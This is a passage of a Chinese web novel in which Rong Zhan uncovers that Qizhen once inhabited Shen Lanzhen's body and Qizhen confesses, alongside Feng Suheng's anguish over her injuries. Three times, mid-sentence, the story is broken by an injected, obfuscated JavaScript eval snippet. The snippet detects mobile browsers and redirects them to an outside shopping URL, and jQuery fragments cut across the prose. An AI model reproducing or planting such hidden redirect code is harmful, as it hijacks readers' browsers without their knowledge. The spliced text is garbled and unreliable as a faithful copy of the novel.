尚可薪见容聘不在,只有容绽一人,而他又以礼相待,心知今日只怕容绽要问他一些堂上不便言道的东西。 果然听容绽寒暄后直言道:“可薪在大容王麾下五年,如何看待风宿恒这个人?” 照说对前朝皇子议论今主并不妥当,但正因尚可薪了解如今主上是怎样的人,听容绽如此问,到真生了想要倾诉的欲望,且今时今日大容言论自由,这番话便是放到雅集上,也是大可说得的,于是尚可薪道:“在下不敢妄议,但可以说说五年来的感受。” “五年前刚接手政务时在下诚惶诚恐,思虑极重,但这感觉并没持续多久,因为昨日和您说的每一项细则,每一款条文,都是大容王纠集重臣,和在下一起,日以继夜条分缕析定出来的,一开始大家都不适应盖浇会……” 容绽:“盖浇会?” 尚可薪道:“因为小朝会时间长,大容王到膳时便让呈上盖浇饭。啊,盖浇饭就是一个大碗上放些菜,人手一碗,一面吃一面讨论。久而久之,大家便将小朝会叫盖浇会。” “大容王素来能言善道,把臣子们说得热血沸腾。而在盖浇会上大伙儿也不怕说错话,讨论到热烈处争吵也是常有的,但这从来不是个事。”尚可薪忆到此处,嘴角擒笑:“我们一开始还诚惶诚恐,可大容王不当回事,久而久之我们也不当回事,把事讨论出来才是正经。” “这盖浇会少说举行了百来次,后来政令定下,施政时都是微修,这几年会才少了,但诸位臣工还是怀念盖浇会的。” “您问我如何看待大容王,在下无法一言蔽之,只能说说他不止一次和我说过的话。” “他说,可薪,十年后脱胎换骨的大容不单靠你,不单靠我,而是靠我们。商定时多推演,定下来大胆做,你背后有我。” 这句话他听了多年,但此时脱口而出,眼眶还是热的。 当初投诚是为百姓,为自以为的一腔热血,但五年过去,午夜梦回时心仍在沸。只不过如今他的热血为的是这句响当当的话——大容的昌盛不靠你,不靠我,靠我们。放心去做,你背后有我。 尚可薪凝视沉思的容绽:“在下浅薄,确实,至今能让在下沸血的只有两人,一是前朝沈部像,还有一个,便是大容王。” 容绽从沉思中回神,惊讶道:“前朝沈部像?沈兰珍?” 尚可薪道:“是,在下与沈部像结识于六年前大容出征那次,她是副将,在下当时也随军。” 容绽前倾,现出难得的激动,衣袖下手握成拳。 他只知沈兰珍被派去东线抗敌,再之后就是屠戮父皇,中间过程他问过英迈,得到的回答只是沈兰珍兵败回銮,怕陛下责罚,才行大逆不道之事。他觉得沈兰珍是因为亲子被屠而暴起,可英迈却是另番说辞,真相如何他也猜不明白。如今听尚可薪这般说,倒是知情人,终于可以问个清楚。 叙起前尘往事要比议论大容王轻松得多,事过多年,如今说来,尚可薪仍历历在目。 当下滔滔不绝,跟容绽细说当年沈兰珍面临的困境。她力谏,却被英迈抽鞭,之后派他到缥缈城用一招空城计诱敌,利用双龙峡地形灭了敌军主力。 再之后,便是被俘和出逃,好不容易回到城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665803|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,却被嘉和帝无端指责,最后酿成惨剧。 说到这段,尚可薪虽对嘉和帝态度恭敬,言辞间却多少流露出为沈兰珍的不平之意。 至此,容绽才知当年东线战场居然发生那么多不可思议的事。 他越听心越坠……这些计谋,这些大智,绝不可能出自养在深宫的沈兰珍之手。 这便再次印证之前猜测——这个沈兰珍,不可能是原本那个! 他细想过程,忽问尚可薪:“你说她安排两人在洞里烧出灰烬,利用山壁孔洞放大至对面洞壁,以便迷惑来军,让他们以为下风道是鬼蜮?” 尚可薪道:“是,沈部像带我们去洞中演示,但白日天光大亮,我们没见到对面倒影,晚上才试成功。” 容绽深吸口气,用难以抑制的激动语气问:“她可有说,这是什么原理?” 尚可薪回忆一下:“沈部像说,这叫小孔成像。” 四字一出,仿若惊雷,劈得容绽当场呆愣。 之后尚可薪说了什么再听不进去,尚可薪也看出他神思不属,便即告辞。 容绽送完人,在门口站了片刻,忽然叫来阑珊,急道:“跟我回万仞山。” 阑珊惊:“现下?要叫二殿下吗?” 容绽摇头,让阑珊指路,径直御剑回到万仞山山脚。如今入山口有兵值守,知他原本就是山上的,赶紧报于上面。谁知等了很久,上面传话下来,居然不允他们上山。 阑珊怒道:“这山头原本就是我们的,凭什么不让我们上去?” 可怎么争理,士兵只做不理。阑珊对容绽道:“咱们走吧,不稀罕。” 容绽却不肯离开,只让人每过一个时辰上去通报,自在山下等待。 ………… “为什么……要毁房子?” “他们伤害你时,想过这一切怎么得来吗?”风宿恒语气不善:“他们忘了!我就让他们回到曾经的一无所有!” “你就知道惩罚!”栖真醒来时心痛难当:“可里面还有……花千树,我们的新房……香满路里还有我的书稿……说毁就毁了?” 风宿恒看着床上的栖真,她刚吐过血,面色惨白,在素青的金针下抢回一口气,可她现下做什么?瞪着他质问?若非手动不了,只怕她恨不得一巴掌扇上来吧。 这两日好不容易能顺溜地说上两句话,谁知柳絮回一来,瞎说一堆,害栖真吐血又昏迷。 他就不该让柳絮回来。 风宿恒按捺着情绪,安抚道:“房子倒了可以再建,根本不算什么,你别急,先把伤养好。” “再造……都不是原本的花千树了。”栖真恨极:“摧毁只用轻飘飘一句……重建也只需轻飘飘一句……对你来说……是不是没什么东西值得上心?” 风宿恒面色一变,仍竭力用平常语气道:“你在我心。” 搁平时这是真挚的表白,现下却像水滴入油,瞬间让栖真炸裂:“你下令的时候想过我吗?……有想过那是我们花多少心血造起来的房子吗?有想过……里面有我花了多少时间写的书稿吗?你没有……你只想发泄你的怒火……你只想给他们惩罚。” “惩罚他们哪里错?”风宿恒终于决眦:“当初就不该随你,不该让大容这帮人留在山上。我早该派兵把山头围成铁桶,什么流民,什么容聘,滚蛋!这事就不可能发生!” “惩罚?”栖真决绝道:“你能惩罚自己吗?能直接给我一刀吗?……所有的冤冤相报……头上难道不是你,不是我吗?” 风宿恒咬紧牙关,腮帮鼓起,明白了栖真意思——那些她未道出口的真实想法。 她在怪他、怨他。 打她的是容聘、是流民,但让她置于那种境地的,却是他。 是他风宿恒! 当初为何要侵略,为何要破坏?不侵略大容就找不到她吗? 栖真哪在说房子的事,她真正想说的是,把我害得那么惨的人是你,是你以爱的名义把我拖向地狱。 风宿恒背在身后的手青筋暴起,退一步,转身走人。 184. 第 184 章 出木屋,低声吩咐素青好好照顾人,风宿恒转头下山,直入大荒流。 在荒境,所有的暴虐无需隐藏,他掀起飓风,任由飓风肆虐,高大强悍的身影在扑面的风沙中发泄着心头的狂怒、疼痛、委屈和后悔。 见到爱人被重伤时的狂怒,对大容人和流民千刀万剐的痛恨,见心上人每日被折磨得痛不欲生时的心痛和不忍,还有夜深人静追根溯源时的追悔莫及。 他能在赶到山下时冷静地判断形势,射出注定因结界的存在而不可能射中栖真的一箭,就是为了在众人面前撇清和她的关系,只要他能证明栖真不是他心上人,容聘就没理由对她下手。 他成功了! 但没人知道,那一刻他的心在滴血。 他觉得自己有病,当初把这群人留在山上,是因为相信以心换心,栖真待他们好,他们也会对栖真好。可如今已然刀剑相向,演戏还有什么意义?还隐瞒他和栖真的关系到底有什么意义? 可他太了解这个女人了。 当看到山道上乌压压下来看好戏的流民手脚健全,他就知道她即便被人害成这样,都没有唤出饕鬄。 她为何不唤出兽魂?那是他为护她,特意找来的守护神。 在饕餮的战力下,这些平民哪是对手?饕餮的利齿会咬破他们的咽喉,利爪会掏出他们的内脏,将所有人开膛剖肚,没人逃得过去,山头将变成血腥的修罗场。 可她没有。 不要跟他说什么忘记,或者晕了,他太了解,她就是不忍。 该死的不忍! 可她不忍伤害别人的同时,承受的却是别人对她的伤害,她有没有想过自己的妇人之仁可能造成的后果?就是她极可能被直接打死。而他,必会剁了所有人为她陪葬。 他从非善辈,栖真就是拴着他的缰绳,有朝一日她若不在,他还要什么善,还有什么顾虑?因为栖真在,他才是现在这番模样。 所以不过在山底看去第一眼,风宿恒就明白栖真怎么想——她还想留有余地,所以他不得不给她留有余地。 他得压下暴怒,陪她把戏演下去,可这是他的公主,他的妻,他捧在手心里的宝贝,这口气怎么可能忍得下去? 命人摧毁山头时,他确实没有一丝一毫想到花千树,想到她的文稿,他早就气炸了,脑里只有一个念头,这群人不配,不配栖真对他们的好,不配栖真给他们造的房! 比起把他们剁成肉泥,现在只不过毁去几栋破房,已是他最大的手下留情。 后来,在栖真昏迷的日日夜夜,他的恨没得到一丝一毫消解,那种愤恨烧着他,焦灼着他的心。 风宿恒确实想到了这件事的源头,所以除了恨别人,他更恨自己,而在对自己十足的愤恨中,还有害怕。 害怕栖真遭受一切后,忽然回过神,想起谁才那个真正的幕后黑手,什么才是真正的事情主因。 只要一想到栖真有可能对他产生哪怕一丝怨怼,风宿恒都战栗地受不了。 他守着她,整夜整夜无眠,又不能辗转反侧,生怕发出一点声音,吵醒好不容易睡着的身边人。睡着对她来说就是解脱,他求之不得她多睡。 他心如炙烤,外表还要装作平静,可很多事,就是不遂人愿。 他觉得亲自照顾自己的女人乃天经地义,别说如今颜心卧床,便是身边还有人力,他都不想任何人靠近。 他在乎什么脏?他只在乎得把她藏起来,护好了! 结果,把人惹崩溃了。 他觉得大容这帮杀千刀的,锁地洞里都是便宜他们。可就因为栖真一句想见柳絮回,他只好让人来见。结果该说的不该说的柳絮回全说了,有没有一点眼力见?她没看到栖真如今的状态受不得一点刺激?结果还句句刺激。 结果,让人吐血了。 但比吐血更可怕的是,栖真真地开始怪他了。 只要她流露出一点点那方面的意思,就是拿刀往他胸口抵。 风宿恒的心不可遏制地抽痛起来,明明刀枪不入,可以为她承受压力、付出所有,却受不得她一句怨,那是往他最柔软的心上戳。 风宿恒倒在沙漠里,脸上手上有适才被风刃逆流切割后流血的口子,可他四肢大敞,任由自己陷在沙中。 狂肆后飞扬的沙子悠扬落下,他用大掌遮眼,任由风沙落在手背。 没有风了,他不作妖,今日沙漠里本是无风的。此刻气流凝固,头顶只有空寂寥落的一片蓝天。 “风畅。” 极静中,体内叹息又起。 这几日,他已被这个声音骂到体无完肤,但此刻他只觉身心俱疲,躺在沙地一声不吭,任由声音再次出现。 随便,骂什么都可以。 雷恒不骂,他自己都骂。 可这次,雷恒没有骂他,该骂的他反反复复已经骂了好几日。 “风宿恒。”雷恒叹息一声:“昨晚,你看着睡着的栖真,在想什么?” 风宿恒:“想什么?” 雷恒:“你想揍她。” 风宿恒像听到天大的笑话,可如今这样的笑话都没法让他振作起来,他只是有气无力地嗤笑。 雷恒冷静的声音道:“只是一瞬间的念头,但你确实有这个念头,看到她满身乌青,你被刺激到了是吗?你也想像那些凶手一样,在她身上留下印记?” 风宿恒…… 雷恒:“你不允许她身上留下别人的印记,即便是暴力的痕迹,也只能是你给的,是吗?” 沙漠里静了很长时间。 雷恒:“我以前没意识到这点,我一直以为我和你在爱她这件事上高度统一,但现在我明白了,我爱她,但不想虐她,你爱她,却更渴望虐她。在我们那儿,你这种心态属于典型的施虐者。” 风宿恒缓缓从沙地上爬起:“听不懂你在说什么。” 雷恒:“你假装不懂,但你逃不过自己的内心。我们都是男人,又是一体,你什么心思瞒得过我?” 风宿恒掐断体内的噪音,疲累已极,慢慢往沙漠边沿走去。 那日回去小屋,风宿恒什么都没说,只是送了栖真一盆花。 “这是戈壁里种出来的半日花。”他把栽着小白花的盆递到栖真面前:“屯兵所照你所教,在戈壁里找到了良种,找农人嫁接,如今已种下首批麦苗。这半日花是随麦苗长出来的,很多地方都长了。” 这株新生的半日花,怯生生的,刚开出一朵,旁边还有垂下来的两个小花蕊,叶子是荆棘状卷起的细长条。 “听说长得很快,等这盆长满了,全开出花了,你的伤就好了。”他把瓷盆放到桌上,方便栖真看到的地方。 视线从花上移开,转头,闭眼。栖真又痛又累,过度消耗着心力,她沉在海底,不想说一个字,不想见一个人。 即便这人是风宿恒。 自这日起,栖真的话越来越少。很多时候风宿恒知她醒着,但她就是闭眼,什么动静都没。 不能让人这般消沉下去,不管栖真听不听得到,给不给回音,他都会和她说说话。 无论心里再怎么火山爆发,充斥再多肆虐的情绪,一旦回到她身边,风宿恒都藏得很好。他分得清楚,现下没什么比让人养好伤更重要。 若出口气能舒坦,他便让她出出气。 他气懵了,还能去大荒流撒个野,栖真气着了又能怎么办?如今别说自由,便是动一动,对她来说都困难。 风宿恒看着直挺挺躺着的人儿,心里又是一片柔软,忍不住亲亲她。 真是太可怜了。 ………… 栖真知道自己半年内不用去见重离,本该松口气,现下却有些后悔。 后悔过去见重离时,怎么不在安置舱里多囤点书,她就该一入舱,取书,一通狂按,能存多少存多少。 如今身为囚笼,对外寻求的通道被悉数封闭,她不得不对内找。 好在脑中还有些东西。 所以当风宿恒以为她长时间闭眼是在生气、在消极的时候,其实栖真只不过是在“看”脑中印刻的文字。 她反复读梭罗: ———如果我们常常生活在“现在”,对发生的事情善加利用,像青草承认最小一滴露水给它的影响;别让我们惋借失去的机会,把时间耗费在抱怨中,而要认为那是尽我们的责任。春天已经来到,我们不要停留在冬天。在愉快的春日早晨,一切人类的罪恶全部得到宽赦。阳光如此温暖,坏人也会回头。由于我们自己恢复了纯洁,我们也发现了邻人的纯洁。也许昨天,你还把邻居看做贼子醉鬼,对世界悲观……可你碰到他在做清洁工作,看到他衰颓而淫/欲的血管中静静的欢乐涨溢了,像婴孩一样纯洁地感受春天,他的一切错误你都会忘记。 读着读着,心头的恶气逐渐消退,她觉得没那么难受了。 字字珠玑,鼓励着她也想要探索,去做思想上的哥伦布: ———一个人若自信地向梦想方向行进,他可以获得意想不到的成功。他要越过一条看不见的界线,把一些事物抛在后面;新的、更广大的、更自由的规律将围绕他,或旧有的规律将扩大,并在更自由的意义里得到有利于他的新解释,他将拿到许可证,生活在事物更高级的秩序中。他自己的生活越简单,宇宙的规律就越简单,寂寞将不成其为寂寞,贫困将不成其为贫困,软弱将不成其为软弱。 她日夜阅读,放任思想被占据,就顾不上身体的疼痛了。 阅读和思考成了镇痛的吗啡、态度的指南、困境的钥匙。那日睡前,她终于开口问身边人:“今天是阿絮他们回大容的第十五天,你说他们还会回来吗?” 风宿恒躺在里侧,正帮她露在外面的肌肤抹痱子粉,轻声问:“你希望他们回来吗?” 栖真道:“他们如果回来,你别对他们凶了可不可以?” 鼻尖是幽幽清香,风宿恒把罐子盖上,越过栖真放在床头:“我不对他们凶对谁凶?你知道我恨不得……” 栖真抬起左臂——这条胳膊至少没断,她用完好的小指笨拙地戳风宿恒的脸:“对我凶,行了吧。” 风宿恒托着她的上臂,在前端的夹板上轻吻:“你以为等你好了,我不找你算账?” “哪有那么多账?”栖真咕哝一声:“找我算过了,就别为难他们了吧?” “重离说你是烂好人。”风宿恒道:“当时听得刺耳,现下觉得真是。” 栖真瞬间双目圆睁:“骂我呢?” 风宿恒将她胳膊放到床上,自己在边上躺下:“重离说的。” “重离这个冷血。”栖真道:“下次见到他,我一定得问问未来世界究竟怎么了,连‘好坏’的界定都扭曲了吗?” 行,你问,尽管问,可在那之前,风宿恒很想问问她。 过去你在乎这帮人是想赎罪,如今你都这样了,这罪算赎完了吗?若赎完了,为何还非要他们回来?为何还那么在意他们? 可他撑着脑袋,只是温声道:“他们不回来,你就放下;他们回来,我便放下,继续陪你演。” 栖真呵呵:“听说你山脚下一箭射得很干脆啊。” 风宿恒倾身五连吻,咬她耳垂:“你夫君射什么不干脆?” 若没有栖真睡前这番话,风宿恒是绝对不会让容绽上山的,可隔日他到底还是和栖真说了一声,并约法三章。 一,少说话; 二,不许激动; 三,若容绽不留,她不能求他们留。 见栖真连声答应,才着人放容绽上山。 容绽在山下等了两日,终于被允许来到谷中,由阑珊带入小木屋。 栖真见到他们,惊喜地叫了一声“阿绽、阑珊”。 虽然听柳絮回描述过,但到底不比亲眼见到。阑珊看着躺在床上上着夹板的栖真惊呼你怎么伤这么重,什么时候能好云云,又在栖真的询问下简单叙了别情,说了他们回大容为容伯舒和常璐下葬的事。 当栖真听说常璐葬在了沈兰珍边上,心下不免唏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673060|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘘。 过去常璐没少欺负沈兰珍,没想到最后两人居然在地下比邻而居。常璐疯后总把她当沈兰珍,想来心里对兰珍也是有愧的,现下好了,希望她们在下面握手言和,互相陪伴,都不孤单。 容绽间或搭一两句腔,可他心事重重的样子,听阑珊提到沈兰珍,再也忍不住,道:“阑珊,先出去,我有话和栖真说。” 阑珊应了声好便下楼去。 “阿絮他们都没来,就你和阑珊回来,不会是太想我吧?” 自人进屋栖真就看出容绽有话说,他表情凝重,支走阑珊要入正题,栖真眼皮跳了一下,开句玩笑想缓和一下气氛。 容绽坐在桌边,搁在桌上的手蜷了起来,对着床的方向半晌不语。 “怎么了?”栖真瞧着他:“发生什么事了?” 这样紧张又踌躇的容绽可不常见。 最终见他一咬牙,嗓音低沉,一字一顿郑重道:“这个问题,我只问一次。” 栖真心里升起不好的预感。 容绽终于把纠结的话问出口:“你是不是曾经附在沈兰珍身上?” 栖真瞳仁收缩,半晌才找回自己声音:“你说什么?” 容绽眼睑翕动,快坐不住了,像鱼渴望水一般渴望答案:“沈兰珍摔了一跤磕了头,之后一直是你附在她身上是不是?和我们去神明大宫的是你,率军上前线的是你,最后暴起杀我父皇的也是你,是不是?” 出什么事了?容绽怎会洞悉真相?他在拿话诓她,还是已然确证? 栖真冷汗直冒,心头狂跳,无措地不知怎么回答。 容绽听对面不语,越发确认,语气尖锐的有些可怖:“沈兰珍在下风道利用洞壁做小孔成像,小孔成像……那不是你在科学课上教过的?你和风宿恒到底是何渊源?他是为你来大容吗?你们救下的那个叫凡心的孩子,真的是你和风宿恒所生?” 把所有推测一股脑道出,容绽胸口起伏,睫毛轻颤,沉声道:“栖真,你到底是谁?” 栖真可以否认的,只要轻飘飘一句——你说什么呢,我怎么听不懂?——就可以彻底撇清。 无论容绽怎么把这些事联系在一起,他都没有证据,没有证据的事,她只要不认,没人能把她板上钉钉。 可是太久了,这个秘密她已经瞒太久了。 容绽跑来直白问,到底是不是你?附在沈兰珍身上的人到底是不是你? 他离最终的真相只有一步! 栖真知道容绽是怎生长情的人,知道这么多年来,他到底是怎样地爱着沈兰珍。如果不给容绽一个让他死心的答案,他会不会这辈子都意难平,都辗转反侧牵挂于心? “你想点醒他,殊不知他会放下执念,还是更燃仇恨?原本他只当沈兰珍死了,如今只怕更想寻那李代桃僵之人……真真,答应我,绝不能让他知道背后是你!” 风宿恒警告过,千万不能让他们知道她是谁。 这是底线! 但此刻,栖真把这些话抛在脑后,头脑一热,转头将最后一步梯子给容绽搭上了。 长痛不如短痛,她真地不想容绽再在这种不确定中消磨下去。 于是栖真说:“是我。” 是、我。 简短的两个字。 却像暮鼓晨钟,重重敲击在容绽心头。 把他震得耳鸣心颤,把他心头所有自欺欺人的话,全部撞得支离破碎。 “你……”他颤声道:“你……?” “对。”栖真道:“你说得对,是我。” 瞒了那么久,她品味着每一个字,觉得真说出来,好像也没那么困难。 是的,话到这份上,也没什么困难了,不如敞开来说。 于是栖真说了她来自未来,说了当初为救小包子不得不求助大容太子,说了五年前被风宿恒一箭穿心,五年后她也不知为何以原身回到中土,而风宿恒之所以对她锲而不舍,只是为了她来自未来的身份。 她付春人的背景是假,但一路救下的颜心和阿畅,他们对她的忠心是真。小包子并非她和风宿恒所生,炼魂鼎的误判只是因为孩子是她和风宿恒的转世所生。 所有的事情都对得上,只有和风宿恒的感情隐瞒下来。 容聘拿她为质,是因为认定她是大容王的心上人。现在承认这点,就是在坑风宿恒。 春秋笔法,留可以把故事圆上的那些,去掉惹麻烦的部分。 栖真最后道:“那时我以为我的孩子被你父皇杀了,我失去理智,对那段没有一点印象,等回神时已被风宿恒一箭穿心。但是阿绽,对不起,你父皇确实死于我手,我一直欠你一声道歉。对不起!” “可是凡心为什么会来中土,我为什么会来中土?我至今都不明白。我一直想问问你,凡心为什么会被选做祭童?你们到底从哪里找到他的?还是根本就是神宫将他从未来拖来的?” “我身不由己,所有的事情只因我想救孩子,我从没想过要害人,从没想要伤害你们任何一个人。” “和你们在万仞山相遇,我也觉得不可思议。可我不敢说出真相,我只想为自己曾经的行为作出补偿。阿绽,我只想你们每个人都好好的,好好地活下去,如果可以,能够活得更好一点。” 她紧盯容绽面容,渴望他说些什么,或者问她问题。 可容绽什么都没问,像被惊涛骇浪彻底拍死案底,也像山岳重压下彻底失语。他僵坐,手不可遏制地发抖,人在那里,神魂却已不在。 很明显,这天方夜谭般的故事,正在让他整个人分崩离析。 他忽然起身往外走。 栖真目送失魂落魄的身影出去,听见阑珊迎上来,扶住在楼梯上跌倒的容绽,他们下了楼,再也没有一丝声音。 稍时风宿恒进屋,不可思议地蹙眉:“你们说什么了?容绽见鬼了?” 栖真心如死灰,难受至极,红着眼哽咽数次,才将一句话说完整。 “他们……不会再留下了。” 185. 第 185 章 风宿恒说得没错,容绽是见了鬼。 从木屋出来,阑珊扶他下山。 这一路想思考,怎奈脑中乱作一团。 “回万丈城吗?”阑珊在边上问。 容绽摆手。 明明一下山又能动用法术,一离开山界,掌控一切的感觉又回来,可现下他被抽空,径直坐倒戈壁,素来挺直的背承受不住地弯下来,拇指死命按压太阳穴,哪里都去不了,一个字都说不出,周遭声音隐去,很长一段时间内脑中除了栖真声音,什么都没有。 ………… 如今山下比山上热闹。 被驱赶下来的流民一个都没走脱,全被兵丁押解在此,他们没有坐吃等死的待遇,因为不会有免费送上门的饭菜,想不饿死,就要劳作。 他们被迫种树。 树苗是兵丁运来的。 流民被分成两组,一组在山脚两厢划出的戈壁上种。 大半个月后便见两片不堪入目的林子,光秃得活像秃子顶着鬃毛刷,而两片树林间则是宽阔的通向山口的长直道。 刚种下去时,树苗能否存活流民们不关心,这不过是被奴役后干的一份活,树能不能活,关他们什么事。 他们不知道这种树叫胡桐,特别适合在戈壁生长;也不知道这种树是那个差点被他们打死的女子提议种的;更不知道距此五里外的屯兵所,不仅成功种活了四亩胡桐林,还在朝廷农林司的指点下,开始耕种沙麦。 而另一组难民,则在兵丁的指挥下打井。 一开始没人相信戈壁里能打出井,但士兵强迫他们必须挖。 做什么不是做? 于是他们挖,不断挖。 没想到五日后,真地从足够深的地下挖出水来,水漫上来的那一刻,流民们也难得欢呼起来,原来这片荒地是真地可以打出水的。 有了水,便能沿着井壁砌砖、垒井口、做辘轳。 刚开始涌上来的都是泥浆水,随着一桶一桶打上来,慢慢地水变清了,慢慢地,舀上来,烧一烧,竟然可以喝了。 流民们觉得自己是囚犯,是强权下的禁脔,是被迫做这些的。可随着第一口井的打通,山脚下那种紧张的、怨怼的气氛逐渐改变,他们干活时多了一丝自发的乐趣,于是很快第二口井、第三口井也打起来。 至此浇灌方便很多,烧饭洗漱的水也有了。 是的,他们被赶下山时没有得到任何怜悯,在戈壁里幕天席地,白天被烈日蒸馊到脱皮,夜晚又被蚊虫咬到苦不堪言。直到水井被打通,他们才大着胆子和当兵的商量,能否允他们盖个澡间,小小一间就行,让百来人有个洗漱的地方。 再后来的某一天,当兵的说,从现在开始一棵树十文钱,一亩沙麦地十两银,你们好好干,赚了银子可以买帐子住,可以有肉吃。 兴许是上面命令,兵丁对这群人并不客气,但也没有太过为难。这些人想逃、想造反时会被不留情地镇压,但只要好好干活,当兵的就不太管他们。 所以难民们在戈壁里东一帐子、西一帐子形成营地时,士兵们也无所谓,反正给他们的就山脚下几亩地,别的地方也不让他们去。 于是大家每日种树、自己烧饭。有事干,有银赚,能填饱肚子,日子就上了正轨,人心就逐渐安定下来。 ………… 容绽回到山脚时,大部分人结束了露天的苦日子,已经在四周安营扎寨。 阑珊十岁起入神宫,伺候容绽整整十二个年头了,他心中的“清心寂神”明明只比他长三岁,却像和他隔了一个辈分,素来喜怒不形于色,无论对外人还是对自己皆如此。 有时阑珊会想,若一个人像他主子这般学什么都快,做什么都出色,出生即在巅峰,是可以活成这样无欲无求的。 所以在阑珊心中,容绽就是那高挂天际的月,清冷,只能远观;出色,却少人气。 谁知后来天地变色,人生倾覆,五年里发生太多事情。 他每日陪着容绽,虽然大部分时候还是琢磨不透主子在想什么,但因为见过了容绽崩溃的样子,在阑珊心中这男人终于走下神坛,不再那么可望不可即。 他总共见容绽崩溃过两次。 第一次是嘉和帝身死,大容国破,容绽被救出的那晚。夜黑风高逃离万丈城时,他拖着失丹的残破身躯,在城外对着宫阙方向下跪,痛哭失声,誓要报仇。 第二次是一年多前,避难处被屠,大神官被砍断双腿,而他为救叔父也被毒粉毒瞎双眼,醒来后伤心欲绝,彻底封闭自己。 可容绽就是容绽! 或许是经历过连番苦难,终将心磨成铜墙铁壁,即便这次回山得知大神官被人践踏致死、好友被亲弟诬陷身受重创、好不容易建起的家园又被推倒,而死去的仇敌居然复生……一桩桩,一件件,连阑珊都觉残忍,被压得喘不过气,关在地洞时数次想要大吼大叫地发泄,容绽却至始至终没有失态,而是沉默地接受这一切。 所有人都知道他又成了最悲惨的那一个,所有人都知道此时此刻,他才是最为难的那一个。 他们看着容绽,心底都希望他哭一场,发泄出来,而不是像现在这样无坚不摧,好像再多的苦难和悲伤都可以默默接纳和承受。 但容绽就像静静的河,一天天的,把日子过下去。 直到他们终于回到大容,终于为大神官下葬,就在阑珊以为所有的苦难该翻篇了,为何这男人……忽然就崩溃了? 适才在小木屋里,到底发生什么了?阑珊看着跌坐在地的主子,完全想不明白。 他和栖真不是挺好的吗?之前还天天一起教书,他俩能有什么冲突,竟被逼至此,全然垮掉? 阑珊到底是乖顺的,再好奇,都看出自己主子根本无暇他顾,于是偷偷找了流民,塞足银子,借了一顶毡帐。 他扶容绽去帐中休息,并弄来吃食,希望他多少吃上一口。 可容绽什么都不要吃,就让他出去。 阑珊很无奈,只好到帐外守着,间或和周围好奇的流民搭两句腔,但他的心挂在容绽身上,一直听着帐内动静。 可帐里什么动静都没有。 阑珊想,阿绽是不是睡着了?啊,睡着也好,自从住进司军府他就一幅心事重重的样子,每晚坐在落败的园中,都没睡过一个好觉,若能让他好好睡一觉,真是谢天谢地了。 ………… 躺在帐中的容绽没有睡着。 他怎么可能睡得着?他陷在彻底的黑暗中,任由往事在脑中纷至沓来。 他在想沈兰珍,真正的沈兰珍。 虽然只有数面之缘,虽然过了那么多年,但与沈兰珍的点点滴滴仍清晰如昨。 因为路过时从冰湖将之救起,从此对这可怜的女孩上了心。 一开始是碰到宫人闲聊九部相,就多听几句,知道被他救起的女孩日子过得并不如表面那么顺遂。 那时他还想,这事得沈兰珍自己去和母后说,旁人是帮不上忙的。 可过了好久,沈兰珍就是不说,任由自己被欺负,硬生生将日子过成寄人篱下的样子。 他即便知道,也只能一声叹息。 一年后,回神宫时看到那抹嫩黄的身影拎着打竿在白果树下,他犹豫,最终还是上前去,才见她手掌被竿上脱出的铁皮划了一道。 那一瞬他没忍住,掏出绢帕帮她包扎,之后更是头脑发热,索性上树把白果摘下。 那瞬沈兰珍羞红了脸,低着头,声如蚊蝇地道谢。 “给母后吗?” “是的,殿下。” 容绽想,她终于开窍了吗?知道要付出一些,借机去问母后讨个恩典? “母后喜欢白果,吃到你亲手摘的,心情也会好。” 他言尽于此,是在提醒她,这是你提要求的好时机。母后已为你主持过一次公道,把萤蕊宫的人全数撤换,把贴身宫女赐予你,可常璐还是欺负你,所以这次,该说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687230|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的要说,该为自己出头的要出头,知道吗? 沈兰珍大概是听懂了,抬头,为他的未尽之意绽出笑容。 那一刻,容绽觉得自己心律失常。 再然后……就再也不是真正的沈兰珍了! 来神宫祭拜被叔父鞭打的是栖真,他从太子殿门口抱起的是栖真,晚上约他出来质问的是栖真,在大殿上吟他儿时的诗、在碧净杀魄池压他在地,去神明大宫,上战场,所有这些,都是栖真。 为沈兰珍魂萦梦牵,为她遭受鞭打责罚,被她决绝的责怪和拒绝折磨得夜不能寐……但所有这一切,竟然都是错付? 可到底是他自己傻啊! 这么鲜明的转变,这么奇怪的前后不一,可笑他居然还在悄悄为她找补——沈兰珍作为司军之女,没有母家势力撑腰,才不得不在宫中深藏不露。直到皇弟回宫,两人相恋,她才敢逐渐展露自己。 他怎么就那么蠢?蠢到她再反常,他都能在心中为她找一百个合理的解释。 可如今把“沈兰珍”做的事全数替换成栖真,他才发觉…… 如果是栖真,那么顶撞叔父、顶撞父王,敢大庭广众下大放厥词就是再正常不过的事。 